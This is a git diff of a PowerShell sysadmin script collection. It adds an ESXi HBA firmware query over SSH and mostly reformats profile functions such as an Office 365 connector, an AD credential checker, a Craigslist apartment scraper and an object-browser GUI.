($ErrorProcessGetView) { Write-Error -Message "PROCESS - Error while getting the host information" } - IF ($ErrorProcessGetViewTypeService) { Write-Error -Message "PROCESS - Error while getting the host services information" } - Write-Error -Message $($Error[0].Exception.Message) - } - } #PROCESS - END - { - Write-Verbose -Message "END - End of Get-VMhostHbaInfo" - } + + + [CmdletBinding()] + PARAM ( + [Parameter( + Mandatory = $true, + ValueFromPipeline = $true)] + [String] $VMhost, + [Parameter()] + [ValidateScript( { Test-Path -Path $_ -PathType Leaf })] + [string] $PlinkPath = "C:\Program Files (x86)\PuTTY\plink.exe", + [Parameter( + HelpMessage = "Enter the ESXi account used for SSH connection/command.", + Mandatory = $true)] + [string] $Username, + [Parameter( + HelpMessage = "Enter the ESXi account's password.", + Mandatory = $true)] + [string] $Password + ) + BEGIN { + TRY { + # Verify VMware Snapin is loaded + IF (-not (Get-PSSnapin -Name VMware.VimAutomation.Core -ErrorAction 'SilentlyContinue')) { + Write-Verbose -Message "BEGIN - Loading Vmware Snapin VMware.VimAutomation.Core..." + Add-PSSnapin -Name VMware.VimAutomation.Core -ErrorAction Stop -ErrorVariable ErrorBeginAddPssnapin + } + + # Verify VMware Snapin is connected to at least one vcenter + IF (-not ($global:DefaultVIServer.count -gt 0)) { + Write-Verbose -Message "BEGIN - Currently not connected to a vCenter..." + Connect-VIServer -Server (Read-Host -Prompt "You are not connected to a VMware vCenter, Please enter the FQDN or IP of the vCenter") -ErrorAction Stop -ErrorVariable ErrorBeginConnectViServer + } + } + CATCH { + + IF ($ErrorBeginAddPssnapin) { + Write-Warning -Message "BEGIN - VMware Snapin VMware.VimAutomation.Core does not seem to be available" + $PSCmdlet.ThrowTerminatingError($_) + } + IF ($ErrorBeginConnectViServer) { + Write-Warning -Message "BEGIN - Couldnt connect to the Vcenter" + $PSCmdlet.ThrowTerminatingError($_) + } + } + } + PROCESS { + TRY { + Write-Verbose -Message "PROCESS - $Vmhost - Retrieving General Information ..." + $hostsview = Get-View -ViewType HostSystem -Property ("runtime", "name", "config", "hardware") -Filter @{ "Name" = "$VMhost" } -ErrorAction Stop -ErrorVariable ErrorProcessGetView + + IF ($hostsview) { + IF ($hostsview.runtime.PowerState -match "poweredOn") { + Write-Verbose -Message "PROCESS - $($hostview.name) - Status is Powered On" + $esx = $hostsview | Where-Object -FilterScript { $_.runtime.PowerState -match "poweredOn" } + FOREACH ($hba in ($esx.Config.StorageDevice.HostBusAdapter | Where-Object -FilterScript { $_.GetType().Name -eq "HostFibreChannelHba" })) { + Write-Verbose -Message "PROCESS - $($esx.name) - Retrieving HBA information ..." + $line = "" | Select-Object -Property HostName, HostProduct, HbaDevice, HbaWWN, HbaDriver, HbaModel, HbaFirmwareVersion, HWModel + $line.HostName = $esx.name + $line.HostProduct = $esx.config.product.fullName + $line.HbaDevice = $hba.device + $line.HbaWWN = ([regex]::matches("{0:x}" -f $hba.PortWorldWideName, '.{2}') | ForEach-Object -Process { $_.value }) -join ':' + $line.HbaDriver = $hba.driver + $line.HbaModel = $hba.model + $line.HWModel = $esx.hardware.systemInfo.model + + + Write-Verbose -Message "PROCESS - $($esx.name) - Retrieving HBA Advance information - checking SSH Service..." + IF (((Get-View -ViewType HostSystem -ErrorAction Stop -ErrorVariable ErrorProcessGetViewTypeService -Filter @{ "Name" = $($ESX.name) }).config.service.service | Where-Object -FilterScript { $_.key -eq 'tsm-ssh' }).running) { + if ($hba.driver -match "lpfc") { + $remoteCommand = "head -9 /proc/scsi/lpfc*/* | grep -B1 $($line.HbaWWN) | grep -i 'firmware version' | sed 's/Firmware Version:\{0,1\} \(.*\)/\1/'" + } + elseif ($hba.driver -match "qla") { + $remoteCommand = "head -8 /proc/scsi/qla*/* | grep -B2 $($hba.device) | grep -i 'firmware version' | head -1 | sed 's/.*Firmware version \(.*\), Driver version.*/\1/'" + } + $tmpStr = [string]::Format('& "{0}" {1} "{2}"', $PlinkPath, "-ssh " + $Username + "@" + $esx.Name + " -pw $Password", $remoteCommand + ";exit") + + #Running plink.exe + $line.HbaFirmwareVersion = Invoke-Expression $tmpStr + } + ELSE { + Write-Warning -Message "PROCESS - $($esx.name) - SSH Server is not enabled" + $line.HbaFirmwareVersion = "" + } + + Write-Verbose -Message "PROCESS - $($esx.name) - Output Result" + Write-Output $line + }#FOREACH ($hba in ($esx.Config + }#IF ($hostsview.runtime.PowerState -match "poweredOn") + ELSE { + Write-Verbose -Message "PROCESS - Host: $($hostview.name) - Powered Off" + } + } #IF HOSTVIEW + ELSE { + Write-Verbose -Message "PROCESS - Can't find any host" + } + }#TRY + CATCH { + Write-Warning -Message "PROCESS - Something Wrong happened" + IF ($ErrorProcessGetView) { Write-Error -Message "PROCESS - Error while getting the host information" } + IF ($ErrorProcessGetViewTypeService) { Write-Error -Message "PROCESS - Error while getting the host services information" } + $PSCmdlet.ThrowTerminatingError($_) + } + } #PROCESS + END { + Write-Verbose -Message "END - End of Get-VMhostHbaInfo" + } } diff --git a/_Profiles/Microsoft.PowerShell_profile.ps1 b/_Profiles/Microsoft.PowerShell_profile.ps1 index 07711264..cf1ecce5 100644 --- a/_Profiles/Microsoft.PowerShell_profile.ps1 +++ b/_Profiles/Microsoft.PowerShell_profile.ps1 @@ -1,24 +1,27 @@ -<# - .SYNOPSIS - Profile File - .DESCRIPTION - Profile File - .NOTES - Francois-Xavier Cat - www.lazywinadmin.com - @lazywinadm +<# + .SYNOPSIS + Profile File + .DESCRIPTION + Profile File + .NOTES + Francois-Xavier Cat + lazywinadmin.com + @lazywinadmin #> ######################### -# Window, Path and Help # +# WINDOWS, PATH, HELP # ######################### -# Set the Path -Set-Location -Path c:\lazywinadmin -# Refresh Help -Start-Job -Name "UpdateHelp" -ScriptBlock { Update-Help -Force } | Out-null -Write-Host "Updating Help in background (Get-Help to check)" -ForegroundColor 'DarkGray' + +# Refresh my local help +Start-Job -Name "UpdateHelp" -ScriptBlock { Update-Help -Force } | Out-Null +Write-Host "Updating Help in background (Get-Help to check)" -ForegroundColor Yellow + # Show PS Version and date/time -Write-host "PowerShell Version: $($psversiontable.psversion) - ExecutionPolicy: $(Get-ExecutionPolicy)" -for yellow +Write-Host "PowerShell Version: $($psversiontable.psversion) - ExecutionPolicy: $(Get-ExecutionPolicy)" -ForegroundColor yellow + +# Set Path to Github +Set-Location $home\onedrive\scripts\github <# # Check Admin Elevation @@ -31,60 +34,69 @@ $IsAdmin = $WindowsPrincipal.IsInRole($Administrator) # Set Window Title if ($isAdmin) { - $host.UI.RawUI.WindowTitle = "Administrator: $ENV:USERNAME@$ENV:COMPUTERNAME - $env:userdomain" + $host.UI.RawUI.WindowTitle = "Administrator: $ENV:USERNAME@$ENV:COMPUTERNAME - $env:userdomain" } else { - $host.UI.RawUI.WindowTitle = "$ENV:USERNAME@$ENV:COMPUTERNAME - $env:userdomain" + $host.UI.RawUI.WindowTitle = "$ENV:USERNAME@$ENV:COMPUTERNAME - $env:userdomain" } #> + + ############### -# Credentials # +# CREDENTIALS # ############### ########## -# Module # +# MODULE # ########## + # PSReadLine Import-Module -Name PSReadline -######### -# Alias # -######### +if (Get-Module -name PSReadline) { + # Set Shortcuts for History Search + # Start typing, for example "Get-" then press up and down arrow, it'll show all + # commands in my story that started by "Get-" + Set-PSReadLineKeyHandler -Key UpArrow -Function HistorySearchBackward + Set-PSReadLineKeyHandler -Key DownArrow -Function HistorySearchForward + Set-PSReadlineOption -EditMode Windows +} + + +########### +# ALIASES # +########### Set-Alias -Name npp -Value notepad++.exe Set-Alias -Name np -Value notepad.exe -if (Test-Path $env:USERPROFILE\OneDrive){$OneDriveRoot = "$env:USERPROFILE\OneDrive"} +if (Test-Path $env:USERPROFILE\OneDrive) { $OneDriveRoot = "$env:USERPROFILE\OneDrive" } + + ############# # Functions # ############# -<# - # This will change the prompt -function prompt -{ - #Get-location - Write-output "PS [LazyWinAdmin.com]> " +function prompt { + #Get-location + Write-Output "PS [LazyWinAdmin.com]> " } -#> # Get the current script directory -function Get-ScriptDirectory -{ - if ($hostinvocation -ne $null) - { - Split-Path $hostinvocation.MyCommand.path - } - else - { - Split-Path $script:MyInvocation.MyCommand.Path - } +function Get-ScriptDirectory { + if ($null -ne $hostinvocation) { + Split-Path $hostinvocation.MyCommand.path + } + else { + Split-Path $script:MyInvocation.MyCommand.Path + } } +$MyInvocation.MyCommand # DOT Source External Functions $currentpath = Get-ScriptDirectory @@ -102,10 +114,14 @@ $currentpath = Get-ScriptDirectory . (Join-Path -Path $currentpath -ChildPath "\functions\Launch-Office365Admin.ps1") -######### -# Other # -######### +############ +# LEARNING # +############ # Learn something today (show a random cmdlet help and "about" article -Get-Command -Module Microsoft*,Cim*,PS*,ISE | Get-Random | Get-Help -ShowWindow -Get-Random -input (Get-Help about*) | Get-Help -ShowWindow \ No newline at end of file +Get-Command -Module Microsoft*, Cim*, PS*, ISE | Get-Random | Get-Help -ShowWindow +Get-Random -input (Get-Help about*) | Get-Help -ShowWindow + + +# Debugging +# $ErrorView = $Error.CategoryInfo.gettype() diff --git a/_Profiles/functions/Find-Apartment.ps1 b/_Profiles/functions/Find-Apartment.ps1 index 4721b4d4..f6c8f184 100644 --- a/_Profiles/functions/Find-Apartment.ps1 +++ b/_Profiles/functions/Find-Apartment.ps1 @@ -1,44 +1,43 @@ -Function Find-Apartment -{ - <# - .SYNOPSIS - Allow you search Appartement in craigslist - .DESCRIPTION - .NOTES - #http://masterrex.com/?p=64 - #> +Function Find-Apartment { + <# + .SYNOPSIS + Allow you search Appartement in craigslist + .DESCRIPTION + .NOTES + #http://masterrex.com/?p=64 + #> param ( - [Parameter(Mandatory=$False)]$MinPrice="0", - [Parameter(Mandatory=$False)]$MaxPrice="9999", - [Parameter(Mandatory=$False)]$MaxPages="1", - [Parameter(Mandatory=$False)]$URL = "http://burlington.craigslist.org" + [Parameter(Mandatory = $False)]$MinPrice = "0", + [Parameter(Mandatory = $False)]$MaxPrice = "9999", + [Parameter(Mandatory = $False)]$MaxPages = "1", + [Parameter(Mandatory = $False)]$URL = "http://burlington.craigslist.org" ) $AvailableRooms = @() - For ($CurrentPage=0;$CurrentPage -le $MaxPages;$CurrentPage++) { + For ($CurrentPage = 0; $CurrentPage -le $MaxPages; $CurrentPage++) { $WebPage = Invoke-WebRequest "$URL/search/roo?=roo&s=$Start&query=&zoomToPosting=&minAsk=$MinPrice&maxAsk=$MaxPrice&hasPic=1" - $Results = $WebPage.ParsedHtml.body.innerHTML.Split("`n") | ? { $_ -like "

","") -replace ".*" - $DatePosted = ($Item -replace ".*class=date>","") -replace ".*" - $Neighborhood = ($Item -replace ".*\\(","") -replace "\)\.*" - If ($Neighborhood -like "<*") { $Neighborhood = "N/A" } - $Link = $URL + ((($Item -replace ".*\'))[0] - $Email = (($(Invoke-WebRequest $Link).ParsedHtml.body.innerHTML.Split("`n") | ? { $_ -like "var displayEmail*" }) -replace "var displayEmail \= `"") -replace "`";" - $Description = ((($Item -replace ".*\'))[1] + $Results = $WebPage.ParsedHtml.body.innerHTML.Split("`n") | Where-Object -FilterScript { $_ -like "

", "") -replace ".*" + $DatePosted = ($Item -replace ".*class=date>", "") -replace ".*" + $Neighborhood = ($Item -replace ".*\\(", "") -replace "\)\.*" + If ($Neighborhood -like "<*") { $Neighborhood = "N/A" } + $Link = $URL + ((($Item -replace ".*\'))[0] + $Email = (($(Invoke-WebRequest $Link).ParsedHtml.body.innerHTML.Split("`n") | Where-Object -FilterScript { $_ -like "var displayEmail*" }) -replace "var displayEmail \= `"") -replace "`";" + $Description = ((($Item -replace ".*\'))[1] $ItemObject = New-Object -TypeName PSObject -Property @{ - 'ID' = $ID - 'Price' = $Price - 'DatePosted' = $DatePosted + 'ID' = $ID + 'Price' = $Price + 'DatePosted' = $DatePosted 'Neighborhood' = $Neighborhood - 'Link' = $Link - 'Description' = $Description - 'E-Mail' = $Email + 'Link' = $Link + 'Description' = $Description + 'E-Mail' = $Email } #$AvailableRooms += $ItemObject $ItemObject } } #Return $AvailableRooms -} +} \ No newline at end of file diff --git a/_Profiles/functions/Get-NetAccelerator.ps1 b/_Profiles/functions/Get-NetAccelerator.ps1 index 5fc02493..ed5973bc 100644 --- a/_Profiles/functions/Get-NetAccelerator.ps1 +++ b/_Profiles/functions/Get-NetAccelerator.ps1 @@ -1,4 +1,3 @@ -function Get-Accelerators -{ - [psobject].Assembly.GetType("System.Management.Automation.TypeAccelerators")::get +function Get-Accelerators { + [psobject].Assembly.GetType("System.Management.Automation.TypeAccelerators")::get } \ No newline at end of file diff --git a/_Profiles/functions/Get-UsefulNetMethod.ps1 b/_Profiles/functions/Get-UsefulNetMethod.ps1 index dc8f94a5..620d175d 100644 --- a/_Profiles/functions/Get-UsefulNetMethod.ps1 +++ b/_Profiles/functions/Get-UsefulNetMethod.ps1 @@ -1,4 +1,4 @@ -Write-Host "[Math]::Round(7.9)" +Write-Host "[Math]::Round(7.9)" Write-Host "[Convert]::ToString(576255753217, 8)" diff --git a/_Profiles/functions/Test-ADCredential.ps1 b/_Profiles/functions/Test-ADCredential.ps1 index bb2a4617..047a321f 100644 --- a/_Profiles/functions/Test-ADCredential.ps1 +++ b/_Profiles/functions/Test-ADCredential.ps1 @@ -1,10 +1,10 @@ Function Test-ADCredential { - Param($username, $password, $domain) - Add-Type -AssemblyName System.DirectoryServices.AccountManagement - $ct = [System.DirectoryServices.AccountManagement.ContextType]::Domain - $pc = New-Object System.DirectoryServices.AccountManagement.PrincipalContext($ct, $domain) - New-Object PSObject -Property @{ - UserName = $username; - IsValid = $pc.ValidateCredentials($username, $password).ToString() - } + Param($username, $password, $domain) + Add-Type -AssemblyName System.DirectoryServices.AccountManagement + $ct = [System.DirectoryServices.AccountManagement.ContextType]::Domain + $pc = New-Object -TypeName System.DirectoryServices.AccountManagement.PrincipalContext($ct, $domain) + New-Object -TypeName PSObject -Property @{ + UserName = $username; + IsValid = $pc.ValidateCredentials($username, $password).ToString() + } } diff --git a/_Profiles/functions/Test-DatePattern.ps1 b/_Profiles/functions/Test-DatePattern.ps1 index c570442f..72c7cb06 100644 --- a/_Profiles/functions/Test-DatePattern.ps1 +++ b/_Profiles/functions/Test-DatePattern.ps1 @@ -1,20 +1,19 @@ -function Test-DatePattern -{ -#http://jdhitsolutions.com/blog/2014/10/powershell-dates-times-and-formats/ -$patterns = "d","D","g","G","f","F","m","o","r","s", "t","T","u","U","Y","dd","MM","yyyy","yy","hh","mm","ss","yyyyMMdd","yyyyMMddhhmm","yyyyMMddhhmmss" +function Test-DatePattern { + #http://jdhitsolutions.com/blog/2014/10/powershell-dates-times-and-formats/ + $patterns = "d", "D", "g", "G", "f", "F", "m", "o", "r", "s", "t", "T", "u", "U", "Y", "dd", "MM", "yyyy", "yy", "hh", "mm", "ss", "yyyyMMdd", "yyyyMMddhhmm", "yyyyMMddhhmmss" -Write-host "It is now $(Get-Date)" -ForegroundColor Green + Write-Host "It is now $(Get-Date)" -ForegroundColor Green -foreach ($pattern in $patterns) { + foreach ($pattern in $patterns) { -#create an Object -[pscustomobject]@{ - Pattern = $pattern - Syntax = "Get-Date -format '$pattern'" - Value = (Get-Date -Format $pattern) -} + #create an Object + [pscustomobject]@{ + Pattern = $pattern + Syntax = "Get-Date -format '$pattern'" + Value = (Get-Date -Format $pattern) + } -} #foreach + } #foreach -Write-Host "Most patterns are case sensitive" -ForegroundColor Green + Write-Host "Most patterns are case sensitive" -ForegroundColor Green } diff --git a/_Profiles/functions/View-Cats.ps1 b/_Profiles/functions/View-Cats.ps1 index bc6730dc..d6ef8367 100644 --- a/_Profiles/functions/View-Cats.ps1 +++ b/_Profiles/functions/View-Cats.ps1 @@ -1,24 +1,23 @@ -function View-Cats -{ - <# - .SYNOPSIS - This will open Internet explorer and show a different cat every 5 seconds - .DESCRIPTION - .NOTES - #http://www.reddit.com/r/PowerShell/comments/2htfog/viewcats/ - #> +function View-Cats { + <# + .SYNOPSIS + This will open Internet explorer and show a different cat every 5 seconds + .DESCRIPTION + .NOTES + #http://www.reddit.com/r/PowerShell/comments/2htfog/viewcats/ + #> Param( - [int]$refreshtime=5 + [int]$refreshtime = 5 ) - $IE = new-object -ComObject internetexplorer.application + $IE = New-Object -ComObject internetexplorer.application $IE.visible = $true $IE.FullScreen = $true $shell = New-Object -ComObject wscript.shell $shell.AppActivate("Internet Explorer") - while($true){ - $request = Invoke-WebRequest -Uri "http://thecatapi.com/api/images/get" -Method get + while ($true) { + $request = Invoke-WebRequest -Uri "http://thecatapi.com/api/images/get" -Method get $IE.Navigate($request.BaseResponse.ResponseUri.AbsoluteUri) Start-Sleep -Seconds $refreshtime } -} +} diff --git a/_Profiles/functions/clx.ps1 b/_Profiles/functions/clx.ps1 index aca8929c..5298ce5b 100644 --- a/_Profiles/functions/clx.ps1 +++ b/_Profiles/functions/clx.ps1 @@ -1,3 +1,3 @@ Function clx { - [System.Console]::SetWindowPosition(0,[System.Console]::CursorTop) + [System.Console]::SetWindowPosition(0, [System.Console]::CursorTop) } \ No newline at end of file diff --git a/_Profiles/functions/connect-office365.ps1 b/_Profiles/functions/connect-office365.ps1 index 99e69029..5d28c227 100644 --- a/_Profiles/functions/connect-office365.ps1 +++ b/_Profiles/functions/connect-office365.ps1 @@ -1,110 +1,95 @@ -function Connect-Office365 -{ -<# +function Connect-Office365 { + <# .SYNOPSIS This function will prompt for credentials, load module MSOLservice, - load implicit modules for Office 365 Services (AD, Lync, Exchange) using PSSession. + load implicit modules for Office 365 Services (AD, Lync, Exchange) using PSSession. .DESCRIPTION This function will prompt for credentials, load module MSOLservice, - load implicit modules for Office 365 Services (AD, Lync, Exchange) using PSSession. + load implicit modules for Office 365 Services (AD, Lync, Exchange) using PSSession. .EXAMPLE Connect-Office365 - + This will prompt for your credentials and connect to the Office365 services .EXAMPLE Connect-Office365 -verbose - + This will prompt for your credentials and connect to the Office365 services. - Additionally you will see verbose messages on the screen to follow what is happening in the background + Additionally you will see verbose messages on the screen to follow what is happening in the background .NOTE Francois-Xavier Cat lazywinadmin.com - @lazywinadm + @lazywinadmin #> - [CmdletBinding()] - PARAM () - BEGIN - { - TRY - { - #Modules - IF (-not (Get-Module -Name MSOnline -ListAvailable)) - { - Write-Verbose -Message "BEGIN - Import module Azure Active Directory" - Import-Module -Name MSOnline -ErrorAction Stop -ErrorVariable ErrorBeginIpmoMSOnline - } - - IF (-not (Get-Module -Name LyncOnlineConnector -ListAvailable)) - { - Write-Verbose -Message "BEGIN - Import module Lync Online" - Import-Module -Name LyncOnlineConnector -ErrorAction Stop -ErrorVariable ErrorBeginIpmoLyncOnline - } - } - CATCH - { - Write-Warning -Message "BEGIN - Something went wrong!" - IF ($ErrorBeginIpmoMSOnline) - { - Write-Warning -Message "BEGIN - Error while importing MSOnline module" - } - IF ($ErrorBeginIpmoLyncOnline) - { - Write-Warning -Message "BEGIN - Error while importing LyncOnlineConnector module" - } - - Write-Warning -Message $error[0].exception.message - } - } - PROCESS - { - TRY - { - - # CREDENTIAL - Write-Verbose -Message "PROCESS - Ask for Office365 Credential" - $O365cred = Get-Credential -ErrorAction Stop -ErrorVariable ErrorCredential - - # AZURE ACTIVE DIRECTORY (MSOnline) - Write-Verbose -Message "PROCESS - Connect to Azure Active Directory" - Connect-MsolService -Credential $O365cred -ErrorAction Stop -ErrorVariable ErrorConnectMSOL - - # EXCHANGE ONLINE - Write-Verbose -Message "PROCESS - Create session to Exchange online" - $ExchangeURL = "https://ps.outlook.com/powershell/" - $O365PS = New-PSSession -ConfigurationName Microsoft.Exchange -ConnectionUri $ExchangeURL -Credential $O365cred -Authentication Basic -AllowRedirection -ErrorAction Stop -ErrorVariable ErrorConnectExchange - - Write-Verbose -Message "PROCESS - Open session to Exchange online (Prefix: Cloud)" - Import-PSSession -Session $O365PS –Prefix ExchCloud - - # LYNC ONLINE (LyncOnlineConnector) - Write-Verbose -Message "PROCESS - Create session to Lync online" - $lyncsession = New-CsOnlineSession –Credential $O365cred -ErrorAction Stop -ErrorVariable ErrorConnectExchange - Import-PSSession -Session $lyncsession -Prefix LyncCloud - - # SHAREPOINT ONLINE - #Connect-SPOService -Url https://contoso-admin.sharepoint.com –credential $O365cred - } - CATCH - { - Write-Warning -Message "PROCESS - Something went wrong!" - IF ($ErrorCredential) - { - Write-Warning -Message "PROCESS - Error while gathering credential" - } - IF ($ErrorConnectMSOL) - { - Write-Warning -Message "PROCESS - Error while connecting to Azure AD" - } - IF ($ErrorConnectExchange) - { - Write-Warning -Message "PROCESS - Error while connecting to Exchange Online" - } - IF ($ErrorConnectLync) - { - Write-Warning -Message "PROCESS - Error while connecting to Lync Online" - } - - Write-Warning -Message $error[0].exception.message - } - } + [CmdletBinding()] + PARAM () + BEGIN { + TRY { + #Modules + IF (-not (Get-Module -Name MSOnline -ListAvailable)) { + Write-Verbose -Message "BEGIN - Import module Azure Active Directory" + Import-Module -Name MSOnline -ErrorAction Stop -ErrorVariable ErrorBeginIpmoMSOnline + } + + IF (-not (Get-Module -Name LyncOnlineConnector -ListAvailable)) { + Write-Verbose -Message "BEGIN - Import module Lync Online" + Import-Module -Name LyncOnlineConnector -ErrorAction Stop -ErrorVariable ErrorBeginIpmoLyncOnline + } + } + CATCH { + Write-Warning -Message "BEGIN - Something went wrong!" + IF ($ErrorBeginIpmoMSOnline) { + Write-Warning -Message "BEGIN - Error while importing MSOnline module" + } + IF ($ErrorBeginIpmoLyncOnline) { + Write-Warning -Message "BEGIN - Error while importing LyncOnlineConnector module" + } + + Write-Warning -Message $error[0].exception.message + } + } + PROCESS { + TRY { + + # CREDENTIAL + Write-Verbose -Message "PROCESS - Ask for Office365 Credential" + $O365cred = Get-Credential -ErrorAction Stop -ErrorVariable ErrorCredential + + # AZURE ACTIVE DIRECTORY (MSOnline) + Write-Verbose -Message "PROCESS - Connect to Azure Active Directory" + Connect-MsolService -Credential $O365cred -ErrorAction Stop -ErrorVariable ErrorConnectMSOL + + # EXCHANGE ONLINE + Write-Verbose -Message "PROCESS - Create session to Exchange online" + $ExchangeURL = "https://ps.outlook.com/powershell/" + $O365PS = New-PSSession -ConfigurationName Microsoft.Exchange -ConnectionUri $ExchangeURL -Credential $O365cred -Authentication Basic -AllowRedirection -ErrorAction Stop -ErrorVariable ErrorConnectExchange + + Write-Verbose -Message "PROCESS - Open session to Exchange online (Prefix: Cloud)" + Import-PSSession -Session $O365PS –Prefix ExchCloud + + # LYNC ONLINE (LyncOnlineConnector) + Write-Verbose -Message "PROCESS - Create session to Lync online" + $lyncsession = New-CsOnlineSession –Credential $O365cred -ErrorAction Stop -ErrorVariable ErrorConnectExchange + Import-PSSession -Session $lyncsession -Prefix LyncCloud + + # SHAREPOINT ONLINE + #Connect-SPOService -Url https://contoso-admin.sharepoint.com –credential $O365cred + } + CATCH { + Write-Warning -Message "PROCESS - Something went wrong!" + IF ($ErrorCredential) { + Write-Warning -Message "PROCESS - Error while gathering credential" + } + IF ($ErrorConnectMSOL) { + Write-Warning -Message "PROCESS - Error while connecting to Azure AD" + } + IF ($ErrorConnectExchange) { + Write-Warning -Message "PROCESS - Error while connecting to Exchange Online" + } + IF ($ErrorConnectLync) { + Write-Warning -Message "PROCESS - Error while connecting to Lync Online" + } + + Write-Warning -Message $error[0].exception.message + } + } } \ No newline at end of file diff --git a/_Profiles/functions/show-object.ps1 b/_Profiles/functions/show-object.ps1 index 7651a938..d755350e 100644 --- a/_Profiles/functions/show-object.ps1 +++ b/_Profiles/functions/show-object.ps1 @@ -1,4 +1,4 @@ -############################################################################# +############################################################################# ## ## Show-Object ## @@ -6,9 +6,8 @@ ## by Lee Holmes (http://www.leeholmes.com/guide) ## ############################################################################## -function show-object -{ -<# +function show-object { + <# .SYNOPSIS @@ -22,291 +21,268 @@ PS > Show-Object $ps #> -param( - ## The object to examine - [Parameter(ValueFromPipeline = $true)] - $InputObject -) - -Set-StrictMode -Version 3 - -Add-Type -Assembly System.Windows.Forms - -## Figure out the variable name to use when displaying the -## object navigation syntax. To do this, we look through all -## of the variables for the one with the same object identifier. -$rootVariableName = dir variable:\* -Exclude InputObject,Args | - Where-Object { - $_.Value -and - ($_.Value.GetType() -eq $InputObject.GetType()) -and - ($_.Value.GetHashCode() -eq $InputObject.GetHashCode()) -} - -## If we got multiple, pick the first -$rootVariableName = $rootVariableName| % Name | Select -First 1 - -## If we didn't find one, use a default name -if(-not $rootVariableName) -{ - $rootVariableName = "InputObject" -} - -## A function to add an object to the display tree -function PopulateNode($node, $object) -{ - ## If we've been asked to add a NULL object, just return - if(-not $object) { return } - - ## If the object is a collection, then we need to add multiple - ## children to the node - if([System.Management.Automation.LanguagePrimitives]::GetEnumerator($object)) - { - ## Some very rare collections don't support indexing (i.e.: $foo[0]). - ## In this situation, PowerShell returns the parent object back when you - ## try to access the [0] property. - $isOnlyEnumerable = $object.GetHashCode() -eq $object[0].GetHashCode() - - ## Go through all the items - $count = 0 - foreach($childObjectValue in $object) - { - ## Create the new node to add, with the node text of the item and - ## value, along with its type - $newChildNode = New-Object Windows.Forms.TreeNode - $newChildNode.Text = "$($node.Name)[$count] = $childObjectValue : " + + param( + ## The object to examine + [Parameter(ValueFromPipeline = $true)] + $InputObject + ) + + Set-StrictMode -Version 3 + + Add-Type -Assembly System.Windows.Forms + + ## Figure out the variable name to use when displaying the + ## object navigation syntax. To do this, we look through all + ## of the variables for the one with the same object identifier. + $rootVariableName = Get-ChildItem variable:\* -Exclude InputObject, Args | + Where-Object -FilterScript { + $_.Value -and + ($_.Value.GetType() -eq $InputObject.GetType()) -and + ($_.Value.GetHashCode() -eq $InputObject.GetHashCode()) + } + + ## If we got multiple, pick the first + $rootVariableName = $rootVariableName | ForEach-Object Name | Select-Object -First 1 + + ## If we didn't find one, use a default name + if (-not $rootVariableName) { + $rootVariableName = "InputObject" + } + + ## A function to add an object to the display tree + function PopulateNode($node, $object) { + ## If we've been asked to add a NULL object, just return + if (-not $object) { return } + + ## If the object is a collection, then we need to add multiple + ## children to the node + if ([System.Management.Automation.LanguagePrimitives]::GetEnumerator($object)) { + ## Some very rare collections don't support indexing (i.e.: $foo[0]). + ## In this situation, PowerShell returns the parent object back when you + ## try to access the [0] property. + $isOnlyEnumerable = $object.GetHashCode() -eq $object[0].GetHashCode() + + ## Go through all the items + $count = 0 + foreach ($childObjectValue in $object) { + ## Create the new node to add, with the node text of the item and + ## value, along with its type + $newChildNode = New-Object -TypeName Windows.Forms.TreeNode + $newChildNode.Text = "$($node.Name)[$count] = $childObjectValue : " + $childObjectValue.GetType() - ## Use the node name to keep track of the actual property name - ## and syntax to access that property. - ## If we can't use the index operator to access children, add - ## a special tag that we'll handle specially when displaying - ## the node names. - if($isOnlyEnumerable) - { - $newChildNode.Name = "@" - } + ## Use the node name to keep track of the actual property name + ## and syntax to access that property. + ## If we can't use the index operator to access children, add + ## a special tag that we'll handle specially when displaying + ## the node names. + if ($isOnlyEnumerable) { + $newChildNode.Name = "@" + } - $newChildNode.Name += "[$count]" - $null = $node.Nodes.Add($newChildNode) + $newChildNode.Name += "[$count]" + $null = $node.Nodes.Add($newChildNode) - ## If this node has children or properties, add a placeholder - ## node underneath so that the node shows a '+' sign to be - ## expanded. - AddPlaceholderIfRequired $newChildNode $childObjectValue + ## If this node has children or properties, add a placeholder + ## node underneath so that the node shows a '+' sign to be + ## expanded. + AddPlaceholderIfRequired $newChildNode $childObjectValue - $count++ + $count++ + } } - } - else - { - ## If the item was not a collection, then go through its - ## properties - foreach($child in $object.PSObject.Properties) - { - ## Figure out the value of the property, along with - ## its type. - $childObject = $child.Value - $childObjectType = $null - if($childObject) - { - $childObjectType = $childObject.GetType() + else { + ## If the item was not a collection, then go through its + ## properties + foreach ($child in $object.PSObject.Properties) { + ## Figure out the value of the property, along with + ## its type. + $childObject = $child.Value + $childObjectType = $null + if ($childObject) { + $childObjectType = $childObject.GetType() + } + + ## Create the new node to add, with the node text of the item and + ## value, along with its type + $childNode = New-Object -TypeName Windows.Forms.TreeNode + $childNode.Text = $child.Name + " = $childObject : $childObjectType" + $childNode.Name = $child.Name + $null = $node.Nodes.Add($childNode) + + ## If this node has children or properties, add a placeholder + ## node underneath so that the node shows a '+' sign to be + ## expanded. + AddPlaceholderIfRequired $childNode $childObject } - - ## Create the new node to add, with the node text of the item and - ## value, along with its type - $childNode = New-Object Windows.Forms.TreeNode - $childNode.Text = $child.Name + " = $childObject : $childObjectType" - $childNode.Name = $child.Name - $null = $node.Nodes.Add($childNode) - - ## If this node has children or properties, add a placeholder - ## node underneath so that the node shows a '+' sign to be - ## expanded. - AddPlaceholderIfRequired $childNode $childObject } } -} - -## A function to add a placeholder if required to a node. -## If there are any properties or children for this object, make a temporary -## node with the text "..." so that the node shows a '+' sign to be -## expanded. -function AddPlaceholderIfRequired($node, $object) -{ - if(-not $object) { return } - - if([System.Management.Automation.LanguagePrimitives]::GetEnumerator($object) -or - @($object.PSObject.Properties)) - { - $null = $node.Nodes.Add( (New-Object Windows.Forms.TreeNode "...") ) - } -} - -## A function invoked when a node is selected. -function OnAfterSelect -{ - param($Sender, $TreeViewEventArgs) - - ## Determine the selected node - $nodeSelected = $Sender.SelectedNode - - ## Walk through its parents, creating the virtual - ## PowerShell syntax to access this property. - $nodePath = GetPathForNode $nodeSelected - - ## Now, invoke that PowerShell syntax to retrieve - ## the value of the property. - $resultObject = Invoke-Expression $nodePath - $outputPane.Text = $nodePath - - ## If we got some output, put the object's member - ## information in the text box. - if($resultObject) - { - $members = Get-Member -InputObject $resultObject | Out-String - $outputPane.Text += "`n" + $members - } -} - -## A function invoked when the user is about to expand a node -function OnBeforeExpand -{ - param($Sender, $TreeViewCancelEventArgs) - - ## Determine the selected node - $selectedNode = $TreeViewCancelEventArgs.Node - - ## If it has a child node that is the placeholder, clear - ## 